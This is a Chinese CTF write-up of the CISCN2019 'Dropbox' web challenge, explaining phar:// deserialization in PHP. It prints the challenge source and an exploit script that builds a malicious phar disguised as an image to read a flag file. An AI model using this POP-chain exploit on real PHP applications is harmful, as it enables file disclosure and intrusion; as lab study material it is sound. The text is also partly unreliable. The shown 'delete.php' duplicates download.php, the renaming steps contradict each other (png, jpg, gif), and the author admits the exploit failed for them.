[CISCN2019 华北赛区 Day1 Web1]Dropbox

0x01 前言

通常我们在利用反序列化漏洞的时候，只能将序列化后的字符串传入unserialize()，随着代码安全性越来越高，利用难度也越来越大。但在不久前的Black Hat上，安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it，利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了php反序列化漏洞的攻击面。该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”，下面我们就来了解一下这种攻击手法。

0x02 原理分析

2.1 phar文件结构

在了解攻击手法之前我们要先看一下phar的文件结构，通过查阅手册可知一个phar文件有四部分构成：

1. a stub

可以理解为一个标志，格式为xxx<?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名，放在文件末尾，格式如下：

2.2 demo测试

根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作。

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。

phar_gen.php

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以明显的看到meta-data是以序列化的形式存储的：

有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：

利用条件：

① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数，如file_exists()，fopen()，file_get_contents()，file()
③ 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

做题

进去页面先注册，登陆后可以看到文件上传

限制的很死

只能上传图片文件

上传正常图片点击下载

抓包后修改filename参数可以下载任意文件

源码如下

index,php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

File类中的close方法会获取文件内容，如果能触发该方法，就有可能获取flag。

User类中存在close方法，并且该方法在对象销毁时执行。

同时FileList类中存在call魔术方法，并且类没有close方法。如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。

根据以上三条线索，梳理一下可以得出结论:

如果能创建一个user的对象，其db变量是一个FileList对象，对象中的文件名为flag的位置。这样的话，当user对象销毁时，db变量的close方法被执行；而db变量没有close方法，这样就会触发call魔术方法，进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道，close方法执行后存在results变量里的结果会加入到table变量中被打印出来，也就是flag会被打印出来。

想实现上述想法，可以借助phar的伪协议。

生成phar文件后在删除的时候进行触发即可得到flag。

//运行如下PHP文件，生成一个phar文件，更改后缀名为png进行上传。

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar.phar

修改后缀名为jpg

上传

抓包删除页面

修改filename为filename=phar://phar.gif

查看response

得到flag

（我生产phar文件失败，代码也没审计明白，只能暂且搁置，能力有限水平不足，请大佬们指点）

参考文章链接：

https://blog.csdn.net/weixin_43345082/article/details/100102082

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